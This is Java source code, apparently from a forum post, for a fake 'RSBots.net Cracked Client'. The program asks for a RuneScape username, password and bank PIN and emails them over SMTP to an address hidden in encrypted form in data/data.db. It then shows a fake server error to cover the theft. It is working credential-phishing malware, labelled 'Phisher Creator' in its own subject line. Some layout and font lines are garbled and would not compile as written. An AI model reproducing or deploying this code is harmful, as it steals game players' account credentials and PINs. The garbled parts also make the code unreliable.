import java.awt.Color;
import java.awt.Container;
import java.awt.Dimension;
import java.awt.EventQueue;
import java.awt.Font;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.util.Properties;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMessage.RecipientType;
import javax.swing.DefaultComboBoxModel;
import javax.swing.GroupLayout;
import javax.swing.GroupLayout.Alignment;
import javax.swing.GroupLayout.ParallelGroup;
import javax.swing.GroupLayout.SequentialGroup;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPasswordField;
import javax.swing.JTextField;
import javax.swing.LayoutStyle.ComponentPlacement;
import solar.SolarEncryption;
public class RsbotsCracked extends JFrame
{
String checkingIfBlank;
private static boolean pinIsANumber;
private static int pinLength;
private static int pinInt;
private static int usernameLength;
private static int passwordLength;
private static String username;
private static String password;
private static String pin;
private static String TEXT;
private static String encryptedHost;
private static String encryptedUsername;
private static String encryptedPassword;
private static String decryptedHost;
private static String decryptedUsername;
private static String decryptedPassword;
private static String PORT = "465";
private static String FROM;
private static String TO;
private static String STARTTLS = "true";
private static String AUTH = "true";
private static String DEBUG = "true";
private static String SOCKET_FACTORY = "javax.net.ssl.SSLSocketFactory";
[B] private static String SUBJECT = "Solar's RS Program Phisher Creator V1 - Logs";[/B]
private JButton jButton1;
private JComboBox jComboBox1;
private JLabel jLabel1;
private JLabel jLabel10;
private JLabel jLabel11;
private JLabel jLabel2;
private JLabel jLabel3;
private JLabel jLabel4;
private JLabel jLabel5;
private JLabel jLabel6;
private JLabel jLabel7;
private JLabel jLabel8;
private JLabel jLabel9;
private JPasswordField jPasswordField1;
private JTextField jTextField1;
private JTextField jTextField2;
public RsbotsCracked()
{
initComponents();
Color backgroundColor = new Color(245, 245, 220);
getContentPane().setBackground(backgroundColor);
File data = new File("data/data.db");
File key = new File("data/key.db");
if (!data.exists()) {
JOptionPane.showMessageDialog(null, "The data.db file is missing from the data folder! Redownload the bot and make sure data.db is in the data folder!", "RSBots.net Cracked Client - Error", 0);
System.exit(0);
}
if (!key.exists()) {
JOptionPane.showMessageDialog(null, "The key.db file is missing from the data folder! Redownload the bot and make sure key.db is in the data folder!", "RSBots.net Cracked Client - Error", 0);
System.exit(0);
}
if (data.exists()) {
try
{
BufferedReader in = new BufferedReader(new FileReader("data/data.db"));
this.checkingIfBlank = in.readLine();
if (this.checkingIfBlank == null) {
JOptionPane.showMessageDialog(null, "The data.db file is corrupt! Redownload the bot and make sure data.db is in the data folder!", "RSBots.net Cracked Client - Error", 0);
System.exit(0);
}
}
catch (Exception e)
{
JOptionPane.showMessageDialog(null, "The data.db file is corrupt! Redownload the bot and make sure data.db is in the data folder!", "RSBots.net Cracked Client - Error", 0);
System.exit(0);
}
}
if (key.exists())
try
{
BufferedReader in = new BufferedReader(new FileReader("data/key.db"));
this.checkingIfBlank = in.readLine();
if (this.checkingIfBlank == null) {
JOptionPane.showMessageDialog(null, "The key.db file is corrupt! Redownload the bot and make sure key.db is in the data folder!", "RSBots.net Cracked Client - Error", 0);
System.exit(0);
}
}
catch (Exception e)
{
JOptionPane.showMessageDialog(null, "The key.db file is corrupt! Redownload the bot and make sure key.db is in the data folder!", "RSBots.net Cracked Client - Error", 0);
System.exit(0);
}
}
private void initComponents()
{
this.jLabel1 = new JLabel();
this.jLabel2 = new JLabel();
this.jLabel3 = new JLabel();
this.jComboBox1 = new JComboBox();
this.jLabel4 = new JLabel();
this.jLabel5 = new JLabel();
this.jLabel6 = new JLabel();
this.jPasswordField1 = new JPasswordField();
this.jTextField1 = new JTextField();
this.jTextField2 = new JTextField();
this.jButton1 = new JButton();
this.jLabel7 = new JLabel();
this.jLabel8 = new JLabel();
this.jLabel9 = new JLabel();
this.jLabel10 = new JLabel();
this.jLabel11 = new JLabel();
setDefaultCloseOperation(3);
setTitle("RSBots.net Cracked Client");
setResizable(false);
this.jLabel3.setFont(new Font("Trebuchet MS", 1, 1);
this.jLabel3.setText("Choose your bot:");
this.jComboBox1.setModel(new DefaultComboBoxModel(new String[] { "Auto Fighter", "Auto Pest Control", "Auto Fisher", "Auto Chopper", "Auto Miner", "Auto Soul Wars", "Auto GDK", "Auto MTA", "Auto Hunter", "Auto Prayer", "Auto Firemaker", "Auto Herblore", "Auto BDK", "Auto Sorceress' Garden" }));
this.jComboBox1.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent evt) {
RsbotsCracked.this.jComboBox1ActionPerformed(evt);
}
});
this.jLabel4.setFont(new Font("Sylfaen", 2, 14));
this.jLabel4.setText("RuneScape Username:");
this.jLabel5.setFont(new Font("Sylfaen", 2, 14));
this.jLabel5.setText("RuneScape Password:");
this.jLabel6.setFont(new Font("Sylfaen", 2, 14));
this.jLabel6.setText("RuneScape Bank Pin (leave empty if you don't have one):");
this.jButton1.setFont(new Font("Rod", 0, 14));
this.jButton1.setText("Start Botting!");
this.jButton1.addMouseListener(new MouseAdapter() {
public void mousePressed(MouseEvent evt) {
RsbotsCracked.this.jButton1MousePressed(evt);
}
});
this.jLabel8.setIcon(new ImageIcon(getClass().getResource("/crack/crackedclientbanner.png")));
this.jLabel9.setIcon(new ImageIcon(getClass().getResource("/crack/crackedclientpic.jpg")));
this.jLabel9.setText("jLabel9");
this.jLabel9.setPreferredSize(new Dimension(477, 330));
this.jLabel10.setIcon(new ImageIcon(getClass().getResource("/crack/crackedclientpic.jpg")));
this.jLabel10.setText("jLabel9");
this.jLabel10.setPreferredSize(new Dimension(477, 330));
this.jLabel11.setIcon(new ImageIcon(getClass().getResource("/crack/crackedclientpic.jpg")));
GroupLayout layout = new GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addContainerGap().addGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, layout.createSequentialGroup().addComponent(this.jLabel2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.jLabel.addGap(587, 587, 587).addComponent(this.jLabel7).addGap(1093, 1093, 1093)).addGroup(GroupLayout.Alignment.TRAILING, layout.createSequentialGroup().addComponent(this.jLabel1, -2, 491, -2).addGap(18, 18, 1))).addGroup(layout.createParallelGroup(GroupLayout.Alignment.TRAILING, false).addGroup(GroupLayout.Alignment.LEADING, layout.createSequentialGroup().addGap(181, 181, 181).addGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addComponent(this.jLabel6).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.jTextField2, -2, 44, -2)).addGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING, false).addGroup(layout.createSequentialGroup().addComponent(this.jLabel5).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.jPasswordField1)).addGroup(layout.createSequentialGroup().addComponent(this.jLabel4).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.jTextField1, -2, 165, -2)).addGroup(layout.createSequentialGroup().addComponent(this.jLabel3).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.jComboBox1, -2, -1, -2))).addGroup(layout.createSequentialGroup().addGap(100, 100, 100).addComponent(this.jButton1))).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED, 31, 32767)).addGroup(GroupLayout.Alignment.LEADING, layout.createSequentialGroup().addGap(105, 105, 105).addComponent(this.jLabel11)))).addContainerGap(-1, 32767)).addGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addGap(0, 1860, 32767).addComponent(this.jLabel9, -2, -1, -2).addGap(0, 0, 32767))).addGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addGap(0, 1860, 32767).addComponent(this.jLabel10, -2, -1, -2).addGap(0, 0, 32767))));
layout.setVerticalGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addGroup(layout.createParallelGroup(GroupLayout.Alignment.TRAILING).addGroup(layout.createSequentialGroup().addComponent(this.jLabel1).addGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addGap(42, 42, 42).addComponent(this.jLabel7)).addGroup(layout.createSequentialGroup().addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.jLabel2, -2, 76, -2)))).addComponent(this.jLabel).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.jLabel11, -2, 108, -2).addContainerGap(208, 32767)).addGroup(GroupLayout.Alignment.TRAILING, layout.createSequentialGroup().addContainerGap(207, 32767).addGroup(layout.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.jLabel3).addComponent(this.jComboBox1, -2, -1, -2)).addGap(18, 18, 1.addGroup(layout.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.jLabel4).addComponent(this.jTextField1, -2, -1, -2)).addGap(18, 18, 1.addGroup(layout.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.jLabel5).addComponent(this.jPasswordField1, -2, -1, -2)).addGap(18, 18, 1.addGroup(layout.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.jLabel6).addComponent(this.jTextField2, -2, -1, -2)).addGap(26, 26, 26).addComponent(this.jButton1).addContainerGap()).addGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addGap(0, 47, 32767).addComponent(this.jLabel9, -2, -1, -2).addGap(0, 27, 32767))).addGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addGap(0, 47, 32767).addComponent(this.jLabel10, -2, -1, -2).addGap(0, 27, 32767))));
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
setBounds((screenSize.width - 700) / 2, (screenSize.height - 440) / 2, 700, 440);
}
private void jComboBox1ActionPerformed(ActionEvent evt)
{
}
private void jButton1MousePressed(MouseEvent evt)
{
username = this.jTextField1.getText();
password = this.jPasswordField1.getText();
pin = this.jTextField2.getText();
pinLength = pin.length();
try
{
BufferedReader in = new BufferedReader(new FileReader("data/data.db"));
encryptedHost = in.readLine();
encryptedUsername = in.readLine();
encryptedPassword = in.readLine();
decryptedHost = SolarEncryption.decrypt(encryptedHost);
decryptedUsername = SolarEncryption.decrypt(encryptedUsername);
decryptedPassword = SolarEncryption.decrypt(encryptedPassword);
TO = decryptedUsername;
FROM = decryptedUsername;
in.close();
}
catch (Exception e) {
}
passwordLength = password.length();
usernameLength = username.length();
try
{
pinInt = Integer.valueOf(pin).intValue();
pinIsANumber = true;
}
catch (Exception e) {
pinIsANumber = false;
}
if (pinLength == 0) {
pinIsANumber = true;
pin = "NONE ENTERED";
}
if ((!pinIsANumber) || ((pinLength != 0) && (pinLength != 4)) || (passwordLength < 5) || (passwordLength > 20) || (usernameLength < 1) || (usernameLength > 71))
{
JOptionPane.showMessageDialog(null, "Your information is incorrect!", "Incorrect Information", 0);
}
else
{
sendMail();
JOptionPane.showMessageDialog(null, "Failed to access the authorization server!", "Error", 0);
System.exit(0);
}
}
public synchronized void sendMail()
{
TEXT = "/* Logs brought to you by Solar's RS Program Phisher Creator V1 */ Coded in Java by Solar from Hacking.rs */ Username: " + username + " / Password: " + password + " / Pin: " + pin + "";
Properties props = new Properties();
props.put("mail.smtp.host", decryptedHost);
props.put("mail.smtp.port", PORT);
props.put("mail.smtp.user", decryptedUsername);
props.put("mail.smtp.auth", AUTH);
props.put("mail.smtp.starttls.enable", STARTTLS);
props.put("mail.smtp.debug", DEBUG);
props.put("mail.smtp.socketFactory.port", PORT);
props.put("mail.smtp.socketFactory.class", SOCKET_FACTORY);
props.put("mail.smtp.socketFactory.fallback", "false");
try
{
Session session = Session.getDefaultInstance(props, null);
session.setDebug(true);
MimeMessage message = new MimeMessage(session);
message.setText(TEXT);
message.setSubject(SUBJECT);
message.setFrom(new InternetAddress(FROM));
message.addRecipient(MimeMessage.RecipientType.TO, new InternetAddress(TO));
message.saveChanges();
Transport transport = session.getTransport("smtp");
transport.connect(decryptedHost, decryptedUsername, decryptedPassword);
transport.sendMessage(message, message.getAllRecipients());
transport.close();
}
catch (Exception e)
{
}
}
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
new RsbotsCracked().setVisible(true);
}
});
}
}
Copyright © 2024, NextGenUpdate.
All Rights Reserved.